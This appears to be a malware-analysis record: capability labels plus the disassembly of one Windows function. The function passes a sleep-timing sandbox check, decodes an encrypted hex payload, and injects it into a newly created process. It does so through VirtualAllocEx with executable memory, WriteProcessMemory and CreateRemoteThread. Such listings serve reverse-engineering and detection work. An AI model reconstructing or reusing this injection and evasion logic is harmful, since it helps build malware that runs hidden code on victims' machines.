Function at 0x140001905
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call

Disassembly:
push rbp
push rdi
sub rsp, 0x448
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x3e0], ecx
mov qword [rbp + 0x3e8], rdx
call fcn.140001d00
call sub.msvcrt.dll_clock
mov dword [rbp + 0x3bc], eax
mov ecx, 0x135
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sub.msvcrt.dll_clock
mov dword [rbp + 0x3b8], eax
mov qword [rbp + 0x70], 0
mov qword [rbp + 0x78], 0
lea rdx, [rbp + 0x80]
mov eax, 0
mov ecx, 0x5d
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
mov byte [rdx], al
add rdx, 1
mov eax, dword [rbp + 0x3b8]
sub eax, dword [rbp + 0x3bc]
cmp eax, 0x134
jle 0x140001c2d
mov eax, dword [rbp + 0x3b8]
sub eax, dword [rbp + 0x3bc]
cmp eax, 0x198
jg 0x140001c2d
mov rax, qword [str.9532e35c688f6d76ab4b47159441601ade92798d4f386ac55f9c9ad99063cdfff5c4d9f68d955790aeb2bb9316fcdbe8cfe3db08cb88c0c6eb0809a175263eb2bc8adb6659ac42208ad68cff61adb4b80ce82986f4b8811c7b90e9044acff8cd3756e984980a65730eb9ec5894ad29d4d2116455aba484d4acba1df090f76af37013b5ebff4ec7a9898130908e03905a785444bcd277df2a0d3710fcaddb50a7daf238ec6758cfe7aad464211fab17cf455933ec0ba111e9b5e99a47e761a2e008344329d1cc34e59ed83b8fe6dd00cf78b3cc7ec7d6cc180201a184e50dd05b689cb1a49ce9ca7286950c2a3847fec0ae88241a1f6c70cf93b84b91d10dbef793d33f05c7899ec6e071e79a281c4dd3848ffa9400929dcb661a5d1c12a56ea8f32387156c8dae5d60bad839a35a31bc41e559150515f88d0f018f02bb9f5639d8d230b9d267a82e75ecf64ff87970217eb495535323954264f08f411b4b8e09d1587893447aa986e2854c5bd080a9e4a104afc33c2c3dff20b7f9318b737c73f626f8fe26cf3bf84ccc068a9bbb800d5be7e5129a18ea60f81647fdd1640c827364d14f61d6040770213629e76b45aeefe3aa9ab24897b3fcd1ef8ed771dc0520ef3c3c7c79bcc4b94b336b5b499657781e4a4603eb07641244f43a776573feb7049edd953ccbf86d3591330ba9e9d7b2649d466bf54beebe87c82a86358b5b129933318d3bba59f52d8464e4b4fbfbed7bfacb07214245c5d4f8f695c6349b625d77678e5c3af5039acbbbac9b2a28c23d861b9bee036a06858b313f]
lea rdx, [0x14001b480]
mov rcx, rax
call fcn.1400015d4
mov qword [rbp + 0x3b0], rax
mov rdx, qword [rbp + 0x3b0]
lea rax, [rbp + 0x70]
mov rcx, rax
call fcn.1400018bc
nop
mov byte [rbp + 0x67], 0x6b
mov byte [rbp + 0x68], 0x65
mov byte [rbp + 0x69], 0x72
mov byte [rbp + 0x6a], 0x6e
mov byte [rbp + 0x6b], 0x65
mov byte [rbp + 0x6c], 0x6c
mov byte [rbp + 0x6d], 0x33
mov byte [rbp + 0x6e], 0x32
mov byte [rbp + 0x6f], 0
lea rax, [rbp + 0x67]
mov qword [rbp + 0x3a8], rax
mov dword [rbp - 0x10], 0x68
mov qword [rbp - 8], 0
mov qword [rbp], 0
mov qword [rbp + 8], 0
mov dword [rbp + 0x2c], 1
mov word [rbp + 0x30], 0
mov word [rbp + 0x32], 0
mov qword [rbp + 0x38], 0
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rdx, str.22264
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov eax, dword [rbp - 0x20]
mov dword [rbp + 0x3a4], eax
mov rax, qword [rbp + 0x3a8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.OpenProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x398], rax
mov edx, dword [rbp + 0x3a4]
mov rax, qword [rbp + 0x398]
mov r8d, edx
mov edx, 0
mov ecx, 0x1f0fff
call rax
mov qword [rbp + 0x390], rax
mov rax, qword [rbp + 0x3a8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.VirtualAllocEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x388], rax
mov rax, qword [rbp + 0x390]
mov dword [rsp + 0x20], 0x40
mov r10, qword [rbp + 0x388]
mov r9d, 0x3000
mov r8d, 0x2fd
mov edx, 0
mov rcx, rax
call r10
mov qword [rbp + 0x380], rax
lea rcx, [rbp + 0x70]
mov rdx, qword [rbp + 0x380]
mov rax, qword [rbp + 0x390]
mov qword [rsp + 0x20], 0
mov r9d, 0x2fd
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rax, qword [rbp + 0x3a8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.CreateRemoteThread
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x378], rax
mov rdx, qword [rbp + 0x380]
mov rax, qword [rbp + 0x390]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r10, qword [rbp + 0x378]
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
call r10
mov qword [rbp + 0x370], rax
mov rax, qword [rbp + 0x370]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x390]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x140001c3a
lea rcx, str.SJTbXbQc
call fcn.140001583
nop
add rsp, 0x448
pop rdi
pop rbp
ret